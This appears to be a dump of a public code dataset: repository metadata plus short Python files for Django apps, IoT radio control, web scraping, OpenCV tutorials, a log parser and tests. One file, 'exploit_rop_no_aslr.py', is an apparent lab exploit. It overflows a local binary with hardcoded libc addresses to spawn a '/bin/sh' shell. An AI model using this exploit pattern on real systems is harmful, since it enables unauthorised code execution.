7d8a4669826bf427dd2777b62d5a2591bd63c94c | 9b6f65a28af4c6befdd015d1416d6257138c0219 | /alpha/advertising/migrations/0001_initial.py | ea66fae42001f4fef13a91de1a42f8757f91a575 | [] | no_license | dany431/cityfusion | 5beec53131898e539a892249fa711fb3086fb53c | 4e67464db69cfa21c965e4eb8796a5c727d5a443 | refs/heads/master | 2016-08-11T13:20:17.966539 | 2016-01-13T11:17:12 | 2016-01-13T11:17:12 | 49,567,611 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 23,799 | py | # -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'AdvertisingType'
db.create_table(u'advertising_advertisingtype', (
(u'id', self.... | [
"danialaftab@ucp.edu.pk"
] | danialaftab@ucp.edu.pk |
4e0b023472d01e665a666a9df645d52d62215dc1 | b6216c94621d77483c751d4bb1839174bfdef0bb | /radio.py | bff61662d822b10bdf966ec31b0c8e54e8ac3401 | [] | no_license | jsdelivrbot/SmartHome | 50bf995f08e2c718ddc7b6ae74c718c1e7d80235 | 12606823482e538cb24fea37f6b41079a50f4c0d | refs/heads/master | 2020-04-10T15:02:13.948495 | 2018-12-10T00:19:52 | 2018-12-10T00:19:52 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,799 | py | import serial, sys
import datetime
from xbee import XBee
from thing_speak import *
from pushover import *
def calc_ac_message(args, logger):
message = '111000' # prefix
message += ('01' if args['on_off-changed'] == 'true' else '10') # on_off
message += ('101001' if args['mode'] == 'cool' else '100110') # ... | [
"oded.tgr@gmail.com"
] | oded.tgr@gmail.com |
6e81587254659967305cf40abc42b70bb68fd223 | 3c74f6ace4a323d9778cc41a15b660a1796a3a5f | /src/feature_engineering/fastText_benchmark.py | 7a1868d73308be1e31901bf39158f41aa13e47e5 | [] | no_license | drvshavva/Sentiment_analysis | 476e276745594e58da8cd3c07bdadcf3d72ac2ad | 38cdfa4c96bf7c239a1be81436248d13e704b31a | refs/heads/main | 2023-05-03T19:54:15.155966 | 2021-05-21T17:35:46 | 2021-05-21T17:35:46 | 369,609,018 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 997 | py | from gensim.models.fasttext import FastText
import multiprocessing
from sklearn import utils
from tqdm import tqdm
from os.path import dirname
tqdm.pandas(desc="progress-bar")
MODEL_PATH = dirname(dirname(dirname(__file__))) + "/models/word2vec/"
def train_fasText(corpus, n_epoch, name_corpus, sg, vector_size, nega... | [
"havvanur.dervisoglu@ithinka.com"
] | havvanur.dervisoglu@ithinka.com |
56f8c34e87096b7ccc618901f772eef0470f64d3 | 2f98aa7e5bfc2fc5ef25e4d5cfa1d7802e3a7fae | /python/python_22467.py | 5a358bc5c1aa3fc341e934a1ba21ccff3415ae08 | [] | no_license | AK-1121/code_extraction | cc812b6832b112e3ffcc2bb7eb4237fd85c88c01 | 5297a4a3aab3bb37efa24a89636935da04a1f8b6 | refs/heads/master | 2020-05-23T08:04:11.789141 | 2015-10-22T19:19:40 | 2015-10-22T19:19:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 166 | py | # Python: Cancel object creation during initialization
data = [good, bad]
theList = [obj for obj in (MyObject(some_data) for some_data in data) if obj.data_is_valid]
| [
"ubuntu@ip-172-31-7-228.us-west-2.compute.internal"
] | ubuntu@ip-172-31-7-228.us-west-2.compute.internal |
4f64dd7851c54271eb27e872a0ffe121a7888fdd | 447630c97d47bba555169bb336f692adcf6bb97c | /Website2/migrations/0002_auto_20201116_1857.py | 6ccf25e8496904141f3f74acbad21dab1555db50 | [] | no_license | vinothini-jr/OwnBlogWebsite | e4a44654fe368c14d4d91e94214a9f3e5ac73148 | 6e37b0a687a313c437f46a51b1c6a8c9b94d504d | refs/heads/master | 2023-02-19T11:22:24.620131 | 2021-01-20T13:55:07 | 2021-01-20T13:55:07 | 331,258,162 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 351 | py | # Generated by Django 3.0.5 on 2020-11-16 13:27
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('Website2', '0001_initial'),
]
operations = [
migrations.RenameField(
model_name='comment',
old_name='post',
new_... | [
"vinothinivno@gmail.com"
] | vinothinivno@gmail.com |
a4e61da72d38c7802c7f6964d9362e6ed62a8871 | f0a5ad7b8aa39f51f233391fead0da3eabecc4ee | /.history/toolbox/baixaArquivo_20191127165502.py | d63cb56da0f775cc4431f9f1049aafaa065fdfab | [] | no_license | OseiasBeu/webScrapping | e0a524847e55b24dbbd3d57bbe7fa43b4e101f48 | 1e72c7551aea355a891043baecfcbab8a89e719a | refs/heads/master | 2022-10-25T18:12:50.858653 | 2020-06-18T01:29:24 | 2020-06-18T01:29:24 | 224,681,550 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,884 | py | # -*- coding: utf-8 -*-
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.keys import Keys
import os
import tempfile
import time
import shutil
import glob
def baixaArquivo():
driver = webdriver.Chrome(executable_path='chromedriver.exe')
driver.get(... | [
"oseiasbeu@outlook.com"
] | oseiasbeu@outlook.com |
9cddda31ed48e2585ce38b7a8cf02df46126b51b | 8dfe4b53fae92795405d789d52148d1291836afa | /.metadata/.plugins/org.eclipse.core.resources/.history/ba/f0bcb1d8c11d00171d43c367bf888dd0 | c9bbb419225ed46c34895afd15e68cbdfec35a09 | [] | no_license | ymyjohnny/python | e07c54a88954e090cf3d30a4c6f6ac46353063fb | b483fd55e577d4dcceb5762bddf833df23874f3a | refs/heads/master | 2021-01-10T01:10:19.038424 | 2019-07-02T02:40:23 | 2019-07-02T02:40:23 | 45,223,843 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,130 | #!/usr/bin/python
#coding=utf-8
'''
Created on 2017-4-10
@author:ymy
Copyright ymyjohnny@gmail.com
'''
import MySQLdb,pymongo
import datetime
def getdelaytime(date,monitorfield):
conn=MySQLdb.connect(host="221.228.90.4",user="root",passwd="uqcqa8zd",db="dsp_backend")
cursor = conn.cursor ()
#打印多少条记录
... | [
"ymyjohnny@adsame.com"
] | ymyjohnny@adsame.com | |
a97a171d741d1a379fbc9709378197c2b2bfbb73 | 2f98aa7e5bfc2fc5ef25e4d5cfa1d7802e3a7fae | /python/python_28510.py | c23fe77642aa17ac04c7ad7976affbf5e85feb5d | [] | no_license | AK-1121/code_extraction | cc812b6832b112e3ffcc2bb7eb4237fd85c88c01 | 5297a4a3aab3bb37efa24a89636935da04a1f8b6 | refs/heads/master | 2020-05-23T08:04:11.789141 | 2015-10-22T19:19:40 | 2015-10-22T19:19:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 40 | py | # Integrate Python and Javascript
dicts
| [
"ubuntu@ip-172-31-7-228.us-west-2.compute.internal"
] | ubuntu@ip-172-31-7-228.us-west-2.compute.internal |
4ef5a54bbc1283a0dc26f68de81532d923826fd3 | 4cc285b0c585241ff4404087e6fbb901195639be | /NeuralNetworkNumbers/venv/Lib/site-packages/sklearn/neighbors/tests/test_dist_metrics.py | 6a9e15308b2a1578abff065b1d60e657dfebd836 | [] | no_license | strazhg/NeuralNetworksPython | 815542f4ddbb86e918e657f783158f8c078de514 | 15038e44a5a6c342336c119cdd2abdeffd84b5b1 | refs/heads/main | 2023-04-16T18:51:29.602644 | 2021-04-27T14:46:55 | 2021-04-27T14:46:55 | 361,944,482 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 129 | py | version https://git-lfs.github.com/spec/v1
oid sha256:20da88360cc014a240b152fa1dcbdc08031fc751b644925e7a33ecd241a0527c
size 7590
| [
"golubstrazh@gmail.com"
] | golubstrazh@gmail.com |
f3c093a80db997a217f9bb39070aa1c624905138 | acb8e84e3b9c987fcab341f799f41d5a5ec4d587 | /langs/7/q83.py | 6dbc39926c8254d0523be224754339ce48893bc0 | [] | no_license | G4te-Keep3r/HowdyHackers | 46bfad63eafe5ac515da363e1c75fa6f4b9bca32 | fb6d391aaecb60ab5c4650d4ae2ddd599fd85db2 | refs/heads/master | 2020-08-01T12:08:10.782018 | 2016-11-13T20:45:50 | 2016-11-13T20:45:50 | 73,624,224 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 486 | py | import sys
def printFunction(lineRemaining):
if lineRemaining[0] == '"' and lineRemaining[-1] == '"':
if len(lineRemaining) > 2:
#data to print
lineRemaining = lineRemaining[1:-1]
print ' '.join(lineRemaining)
else:
print
def main(fileName):
with open(fileName) as f:
for line in f:
... | [
"juliettaylorswift@gmail.com"
] | juliettaylorswift@gmail.com |
d8ed39fa433143eecb8f4953bd3e201a28ebc002 | 4402cb77b1a15e397fbc51f2c6f3240cbe8dfdac | /dbinit.py | 1adcf7ea0df0995cb4c2bc046508782635a191c0 | [] | no_license | StrelnikovNikolay/scheduler | 898494933967aaa5b2c60efb2dfcd664a4b2b112 | 2a56d77ce91cc2df7f04ec2defbafcdd2250219c | refs/heads/master | 2016-09-06T11:50:30.827549 | 2012-06-10T06:21:44 | 2012-06-10T06:21:44 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 120 | py | from scheduler import db
"""
create test database
"""
if __name__ == "__main__":
db.drop_all()
db.create_all()
| [
"progolab@gmail.com"
] | progolab@gmail.com |
7490c35a50fa2472ac0eab374ec9e4a4348e203b | 1feed26c45cc62e360773ad781aaaa13c6057e77 | /modules/problem.py | ae39edc280554680d9529f3778885f99829ba876 | [
"MIT"
] | permissive | henriqueblang/tsp-ga | 365cda7860862e959e0c4a2c0d5fae52c19d3e45 | 3a354bc9c0b24952c94afbaf6fcd81d94a9186af | refs/heads/master | 2022-04-24T00:50:10.217634 | 2020-04-22T04:04:20 | 2020-04-22T04:04:20 | 257,787,026 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,213 | py | import math
from modules.genetics.chromossome import Chromossome
# Vertex i (row) is adjacent to vertex j (column), where graph[i][j] is the edge weight
# If the graph is not complete, a non adjacent vertex is defined by None
GRAPH = (
(0, 2, 8, 5),
(2, 0, 3, 4),
(8, 3, 0, 7),
(5, 3, 7, 0)
)
# Arbitr... | [
"henrique.barcia@gec.inatel.br"
] | henrique.barcia@gec.inatel.br |
048085a4613537f236c977ce9eff9367f84860e5 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/28/usersdata/104/8782/submittedfiles/serie1.py | ad5d8a8cd81f84e3767fed50f00399919ee89084 | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 245 | py | # -*- coding: utf-8 -*-
from __future__ import division
import math
#ENTRADA
n=input('Digite o valor de n:')
#SAÍDA+PROCESSAMENTO
soma=1
for i in range(2,n+1,1):
if i%2==0:
soma=soma-(1/i)
else:
soma=soma+(1/i)
print(i)
| [
"rafael.mota@ufca.edu.br"
] | rafael.mota@ufca.edu.br |
61d3d86f3753c466dffd3af885d02a4beac04ea4 | 88413e9ca2eae9945f9bc495084f7e01f14b7396 | /SRC/common/IO/GUI/whowidget.py | 66865d230ca2773221dac43d51c461f76ee80fac | [
"LicenseRef-scancode-warranty-disclaimer"
] | no_license | ljuillen/OOF3D | 6867e298efdf5a82544e66bd6bf1868b0dce9051 | b17bc6b5efefff10beca7b0f7d12ce93def33479 | refs/heads/master | 2020-12-21T13:50:05.805046 | 2019-08-22T15:59:22 | 2019-08-22T15:59:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 19,869 | py | # -*- python -*-
# This software was produced by NIST, an agency of the U.S. government,
# and by statute is not subject to copyright in the United States.
# Recipients of this software assume all responsibilities associated
# with its operation, modification and maintenance. However, to
# facilitate maintenance we as... | [
"faical.congo@nist.gov"
] | faical.congo@nist.gov |
9d0e351bfa38fc82b31382b48b8115881e12eb82 | eecd638aed3e5952d158c6f080f2aa9bc772ca7e | /YaDisk.py | 9635f8950042620cbad69d08910c0b0040f31c08 | [] | no_license | OksanaSha/coursework_october | 0d6a3b488b746c9e5f3816e1a54f3740cc004d81 | fb2de7206d7db40d7d405b97d28dca2a881faf05 | refs/heads/master | 2023-08-21T19:08:59.923239 | 2021-10-22T18:21:53 | 2021-10-22T18:27:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,208 | py | import requests
class YaDisk:
def __init__(self, token):
self.token = token
def get_headers(self):
return {
'Content-Type': 'application/json',
'Authorization': f'OAuth {self.token}'
}
def upload_file(self, file_url, name_dir, file_name):
upload_u... | [
"oksanashatalova@bk.ru"
] | oksanashatalova@bk.ru |
a509f4e8e220d22d6a23906514d73f383eb93a0b | 4ef688b93866285bcc27e36add76dc8d4a968387 | /moto/route53resolver/exceptions.py | e0ce342b448e1b445409540ec36f23c090c5211f | [
"Apache-2.0"
] | permissive | localstack/moto | cec77352df216cac99d5e0a82d7ada933950a0e6 | b0b2947e98e05d913d7ee2a0379c1bec73f7d0ff | refs/heads/localstack | 2023-09-01T05:18:16.680470 | 2023-07-10T09:00:26 | 2023-08-07T14:10:06 | 118,838,444 | 22 | 42 | Apache-2.0 | 2023-09-07T02:07:17 | 2018-01-25T00:10:03 | Python | UTF-8 | Python | false | false | 2,366 | py | from typing import List, Tuple
from moto.core.exceptions import JsonRESTError
class RRValidationException(JsonRESTError):
code = 400
def __init__(self, error_tuples: List[Tuple[str, str, str]]):
"""Validation errors are concatenated into one exception message.
error_tuples is a list of tuple... | [
"noreply@github.com"
] | localstack.noreply@github.com |
46a7f1350601ecdbc3531d9b011717dc8aced37f | b1fe0349febf70932f95cae5ed3f0d8768be992f | /voc_annotation.py | 2ef424d5a38cc8c57ec752296db0f1a1433da4a0 | [
"MIT"
] | permissive | Snaill123/Crack-Detection-YOLOV3 | 537d24fa477d05b4b9b00702d522bf4365399760 | 694bcd2a1802d0e1ed9504b4a2429af84069af5a | refs/heads/master | 2020-05-16T16:16:25.535414 | 2018-12-16T07:02:54 | 2018-12-16T07:02:54 | 183,156,921 | 5 | 0 | null | 2019-04-24T05:49:37 | 2019-04-24T05:49:36 | null | UTF-8 | Python | false | false | 3,527 | py | import os
import xml.etree.ElementTree as ET
from tqdm import tqdm
from os import getcwd
sets=[('2007', 'train')]
classes = ["neg"]
def _write_data():
xmlfilepath = 'DATA/VOC2007/Annotations'
txtsavepath = 'DATA/VOC2007/ImageSets/Main'
all_images = [i.split('.')[0] for i in os.listdir(xmlfilepath)]
... | [
"1011836423@qq.com"
] | 1011836423@qq.com |
40b4345a29324b82ea57abfae90c4db05b805c43 | 95db37486077442a6e3b368d3cc76674cfd2ff53 | /opencv-tutorial/opencv_tutorial_01.py | 2e37e31e0127ba44bf4c869e30c43dd35383f8ee | [] | no_license | freebreadstix/computer_vision | 971692da3dd23b6191d63bc10fe977a4619d2783 | eadb931d4323c480331f6612514767ddc62a5149 | refs/heads/master | 2022-12-05T19:44:12.018234 | 2020-08-29T03:54:28 | 2020-08-29T03:54:28 | 287,652,030 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,478 | py | # USAGE
# python opencv_tutorial_01.py
# import the necessary packages
import imutils
import cv2
# load the input image and show its dimensions, keeping in mind that
# images are represented as a multi-dimensional NumPy array with
# shape no. rows (height) x no. columns (width) x no. channels (depth)
image = cv2.imre... | [
"Lucas Nguyen"
] | Lucas Nguyen |
280a0f56dab449cf30e0d252cc2e58c11e89bc4c | 070b83742b2b1dad16dbcfa0c9b234d50f32c1a0 | /scripts/html-list.py | 96a340cee91579c6b4bd51e7b94678e03a18f293 | [] | no_license | venkyms/python-workspace | f4edc2a39ac95c5b8ece2e12e2ce02b6065017dd | 5fa9fc8749ae80a68354b416afa24c6a4063d4f8 | refs/heads/master | 2021-09-13T09:13:33.214578 | 2018-04-27T16:11:38 | 2018-04-27T16:14:08 | 125,087,832 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 418 | py | def html_list(data_list):
"""
Generate html document list from input string list
:param data_list: string which needs to be converted as html list
:return: html document string
"""
html_doc = ['<ul>']
for data in data_list:
html_doc.append('<li>' + data + '</li>')
html_doc.appe... | [
"venkyms@gmail.com"
] | venkyms@gmail.com |
d52c60bea48572304a0adfeceeae75ba986c6e31 | 4dab2427e86b7efc2f6e3e43959c923b6ba89d75 | /main.py | b6b24370d019b2100927cce803021209b1fa256f | [] | no_license | bmahlbrand/personal_tweets | 47cf0c7b079eb4ac45c04d01c0be99c6f99bfe1e | 20c112d5783b822f6a9a8b6123841ecca9763a63 | refs/heads/master | 2021-05-04T11:06:55.717197 | 2016-10-27T22:57:24 | 2016-10-27T22:57:24 | 50,936,472 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 162 | py | __author__ = 'Ben'
if __name__ == '__main__':
t1 = ("a", "b")
t2 = ("a", "b")
if t1 == t2:
print('success')
else:
print('fail') | [
"bmahlbrand@gmail.com"
] | bmahlbrand@gmail.com |
efb80819e06b36adbd316faa062924a416122433 | 08302090dafd6c5988374213f224f9116a8224fb | /rop/exploit_rop_no_aslr.py | 70fff54aa5900c89fce4a4c2ca64404c3152328d | [] | no_license | violentr/exploit_development | da813c9c38b6708e7db3f05f4ed625b2e7e1b208 | 8fdeec71301b64e77fc869649a798d52947b2ff3 | refs/heads/master | 2021-07-17T07:44:14.431004 | 2020-10-20T20:56:42 | 2020-10-20T20:56:42 | 219,014,772 | 4 | 4 | null | 2020-10-20T20:56:43 | 2019-11-01T15:42:24 | Assembly | UTF-8 | Python | false | false | 292 | py | #!/usr/bin/env python
from pwn import *
leak = "A"*140
#return address system
leak += "\xa0\x4d\xe5\xb7"
#return address exit
leak += "\xd0\x89\xe4\xb7"
#return address "bin/sh"
leak += "\x0b\x5a\xf7\xb7"
exploit = process("./rop3", shell=True)
exploit.sendline(leak)
exploit.interactive()
| [
"den.b@itservicesgroup.co.uk"
] | den.b@itservicesgroup.co.uk |
2c6e40eec956f0a7689c6933a20e8815bf9bcad6 | ad8395ea7c00873329fe0e0e0d115a7e51e02636 | /transversingTwoDList.py | 34d74aaf8fcaff52e92bd15530eff4ab1426249e | [] | no_license | AErenzo/Python_course_programs | 0ca7f94e0c6418e1af0c13b6629738f5b5496ee5 | 720d88248e935ad7a77ac0e530ab519882ceea8d | refs/heads/master | 2022-08-23T13:39:09.999602 | 2020-05-19T09:58:33 | 2020-05-19T09:58:33 | 265,209,869 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 237 | py | List = [[0]*3 for i in range(3)]
for i in range(len(List)):
for j in range(len(List[i])):
List[i][j] = int(input('Please enter a Value: '))
for i in List:
for j in i:
print(j, end = ' ')
print()
| [
"noreply@github.com"
] | AErenzo.noreply@github.com |
381a4637bb1abb2acb955e055da64d322ab4defb | 4e19c788aa10f0102eca2b558eaa8757cf15a419 | /manage_benefits/urls.py | dac0f534ff883f79312fef2621e4e1fc1b08bf17 | [] | no_license | RohitDigimonk/codedeploy | cb3da84e159839337d8699f3737f4fd275b78eac | 7a4645b3de4c60ea19411055cd6326469549dd14 | refs/heads/master | 2022-11-28T17:08:20.505998 | 2020-03-16T07:06:30 | 2020-03-16T07:06:30 | 225,541,914 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 386 | py | from django.urls import path
from . import views
urlpatterns = [
path('', views.index, name='index'),
path('edit/<int:id>', views.edit, name='edit'),
path('remove-benefit/<int:id>', views.remove_benefit, name='remove_benefit'),
path('get-data', views.get_data, name='get_data'... | [
"gaurav@digimonk.in"
] | gaurav@digimonk.in |
daec1712af205795d7261468e5501ddd91e71ccc | 6003714d0d6da0d8b18a49d577ba6d59725f6a7b | /module_Step.py | 5de4cdb3d21f98e0088def20ef51a10619be4c68 | [] | no_license | alexInvictus/python-project-on-pc | 556875c8777af20442bed34fa2f56bdcf6e4ac1f | 84bd3dd18acfd2e692ccff9e6f987c57d735cdb1 | refs/heads/master | 2021-05-06T10:03:12.175320 | 2017-12-13T07:45:43 | 2017-12-13T07:45:43 | 114,090,123 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 522 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Date : 2017-12-2 13:28
# @Version : $Id$
# @des : 学习模块章节,用pip安装一个pillow。试运行pillow模块
#pillow模块调用open图像 路径为下面格式
from PIL import Image
#im=Image.open("C:\\Users\\alex\Desktop\\abc.jpg")
#im.show()
#调用matplotlib的一个库来绘制图片进行显示
from PIL import Image
import matplotlib.p... | [
"290149382@qq.com"
] | 290149382@qq.com |
f3a62678fd418f918abd5f71c94c3ee2a6f0671a | 17584d80491f774bc107a5496a6cdfe536a70e51 | /src/Data/IntegerData.py | aa2e7ac6c6c9066861d4b49b0817cd004fa548c1 | [] | no_license | rubenvanassche/C-Compiler | 132f9c6c63afcdfacb54e50ff377d265800c740a | 42c643a8fc9c392053f53e56c8c453d95a548282 | refs/heads/master | 2021-03-24T12:48:51.771282 | 2016-06-10T19:03:29 | 2016-06-10T19:03:29 | 55,611,579 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 328 | py | from src.Data.Data import Data
class IntegerData(Data):
"""Represntatation of integer """
def __init__(self, integer):
super(Data, self).__init__()
self.integer = integer
def compile(self):
return "ldc i " + str(self.integer) + "\n"
def __str__(self):
return str(self.i... | [
"rubenvanassche@gmail.com"
] | rubenvanassche@gmail.com |
ad2e63b98db3492c3e23b72e0af9c31eafeeae63 | f0da00b3e531ac2962d712df1a17607566cd4531 | /src/device/agilentn5181a.py | dfc7c19f0161022478ac242be3bc77cbbe9c2fd9 | [] | no_license | houssem21/emctestbench | 98325395ed654b3dfc12e47f7b6112f9529e871a | 114e9fcfb3630dfa98933221176541331e3863e4 | refs/heads/master | 2021-01-15T16:15:48.351445 | 2012-06-29T09:15:58 | 2012-06-29T09:15:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,033 | py | from rfgenerator import RfGenerator
from device import ScpiDevice
from utility.quantities import Amplitude,Power,Frequency
class AgilentN5181a(RfGenerator,ScpiDevice):
defaultName = 'Agilent N5181A RF Signal Generator'
visaIdentificationStartsWith = 'Agilent Technologies, N5181A,'
defaultAddress = 'TCPIP0... | [
"sjoerd.optland@eseo.fr"
] | sjoerd.optland@eseo.fr |
1e52208484d0e919dffe441f55ffecfeedfd9dac | 97ba5e4f7b5c738dc1217ef2f251f239cd1da173 | /LidarProcessor/LASView/test/test_LiDAR_Processor_dialog.py | b03cbe309754aa68c75732d5e98baec69f71ca28 | [] | no_license | jsumeet/LiDAR-Plugins | d4e5be6958c87735cafc780ed6709df1b36fcba0 | f3708052d02ef9ba40aedee1d3961389032fa9e3 | refs/heads/master | 2020-12-24T21:11:53.830664 | 2016-04-12T07:57:15 | 2016-04-12T07:57:21 | 56,042,612 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,513 | py | # coding=utf-8
"""Dialog test.
.. note:: This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
"""
__author__ = 'tup... | [
"sj.jainsumeet@gmail.com"
] | sj.jainsumeet@gmail.com |
2f5967e6049febff8cd322592dac07a8b7608b91 | a90fdaaf495445f7784a00ee92a22ac82ce93387 | /bob/bob.py | 0b910655bef3b4b498bd32a7654b31a122318018 | [] | no_license | bwielk/PythonExercisms | db0afbdaee9cbb68c227a555970eae1ad0c66fc6 | 7db4110dc0d2438a45dfa59fa906d09ee8872073 | refs/heads/master | 2020-04-09T05:06:50.725198 | 2019-03-27T22:25:36 | 2019-03-27T22:25:36 | 160,051,761 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 502 | py | def hey(phrase):
phrase = phrase.strip().replace(' ', '')
print(phrase)
if any(char.isalnum() for char in phrase) or phrase.endswith(('?', '!')):
if phrase.endswith('?'):
if phrase[:-1].isupper():
return 'Calm down, I know what I\'m doing!'
return 'Sure.'
... | [
"bwielk@gmail.com"
] | bwielk@gmail.com |
71e42429891ffc550d53181d62fb0dca2616e957 | 35d83b88488a0f492dea22128dd4d6e7c8a5bef0 | /tutorial/test.py | efcf5ace8b0a0d9b192d74a524a3633ef28b2516 | [] | no_license | JoshyJosh/pyramid_python_test | 879913228f7bf934830419549df8c378784b9e26 | 3775656fc981f10385b031d98b7be073d98d029e | refs/heads/master | 2021-07-10T11:24:00.050023 | 2017-10-10T05:21:55 | 2017-10-10T05:21:55 | 106,369,498 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,122 | py | import unittest
from pyramid import testing
class TutorialViewTest(unittest.TestCase):
def setUp(self):
self.config = testing.setUp()
def tearDown(self):
testing.tearDown()
def test_home(self):
from .views import home
request = testing.DummyRequest()
response = ... | [
"herukula@gmail.com"
] | herukula@gmail.com |
e76c35090c2ec35f2fb8e09d06523b6955ab7704 | acbf27438bdc56c60c3c37824156b5e460bb1127 | /unittest_vs_pytest.py | 8b07dfb2dffbfff89b7d13832b58b2175ee8a77d | [] | no_license | SHalifaxK/Unittest | 82e7d636a624c76a6d6deca07458f52f9367265b | decc0bebb9cd096a71e41eff93f134b489128595 | refs/heads/master | 2021-09-14T07:07:14.873309 | 2018-05-09T08:53:39 | 2018-05-09T08:53:39 | 115,880,343 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 570 | py | '''
Unittest comes with python default package
And pytest you need to install separately (pip install -U pytest)
'''
#Using Unittest
import unittest
def upper_reverse(text):
return ''.join(reversed(text.upper()))
class TestUpperReversed(unittest.TestCase):
def test_upper_reversed(self):
self.assertEqu... | [
"noreply@github.com"
] | SHalifaxK.noreply@github.com |
f4c626825779eb5f45106b655f509a0adbd02db0 | 99c8cec11b4482d47fa446f54da9c2ba4f2d2e32 | /teachers/management/commands/generate_teachers.py | f1ab0e98ce81a9ecff56eedaef947e1dbb6715c2 | [] | no_license | IefremovRoman/django_efremov | 1c11955c9bda5115ac8b1f98430ea688ab9ae2db | 0540962fc297b5656837a819f89f6e7fcf2b89a5 | refs/heads/main | 2023-08-30T03:42:48.245382 | 2021-11-01T17:39:38 | 2021-11-01T17:39:38 | 393,634,317 | 0 | 0 | null | 2021-11-04T10:08:14 | 2021-08-07T09:08:38 | Python | UTF-8 | Python | false | false | 2,037 | py | import json
import os
from random import choice, randint
from string import ascii_uppercase
from django.core.management import call_command
from django.core.management.base import BaseCommand
from faker import Faker
from groups.models import Group
from teachers.models import Teacher
locale = 'uk_UA'
faker = Faker(... | [
"iefremov.roman@gmail.com"
] | iefremov.roman@gmail.com |
a031f4b11cba14f9b127b12718eae04f18e82750 | 4aae3b711c7b20c0f9c9b7cff579fd22a11e021e | /nginx_log.py | 2ec902c89fe4e34136419c110de1ffb366c18cbd | [] | no_license | lbemi/Spython3 | 84cccbbf813a0bad90c155292eab4c49afdf1ab5 | 24f5f169cb0753e8c6ea284fc072fefd688199a2 | refs/heads/master | 2022-09-17T02:30:02.364146 | 2018-11-21T06:20:18 | 2018-11-21T06:20:18 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,750 | py | import fileinput
import re
import time
from collections import Counter
import math
import sys
from datetime import datetime, timedelta
# 初始化显示的日志条目,None表示显示全部
records = None
# 脚本使用方法
def usage():
print('Usage: %s nginx_log_file [max_record_nums] [datetime]' % sys.argv[0])
print('Usage: [max_record_nums] for i... | [
"934366858@qq.com"
] | 934366858@qq.com |
cc46d90d2aab3e122272548b83c2f0b7d1599f4b | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03695/s658302581.py | 4b111b4dcc5fb387aa23c5a6f49d4a93eb481a63 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 676 | py | def color_judge(n):
if 1<=n<=399:
return 'gray'
elif n<=799:
return 'brown'
elif n<=1199:
return 'green'
elif n<=1599:
return 'light blue'
elif n<=1999:
return 'blue'
elif n<=2399:
return 'yellow'
elif n<=2799:
return 'orange'
elif ... | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
8080cfa7c5ebb3e57d3422daf3ca44dafd3787c8 | b0bae65e703fa5f787cbe4dd321a5d0eff7af147 | /developer/developer/urls.py | fd6ec118368545c4027c549067d1524b5b1babab | [] | no_license | thalesh-kashyap/Developer_Repo | bad980f241db4cfa784bdc4fbe893befbd8c5f12 | 6f0caba049182ceca26197711c05bd2cea5f15bf | refs/heads/main | 2023-04-16T04:03:07.636136 | 2021-04-30T10:49:57 | 2021-04-30T10:49:57 | 363,106,160 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,153 | py | """developer URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-bas... | [
"68849549+thalesh-kashyap@users.noreply.github.com"
] | 68849549+thalesh-kashyap@users.noreply.github.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.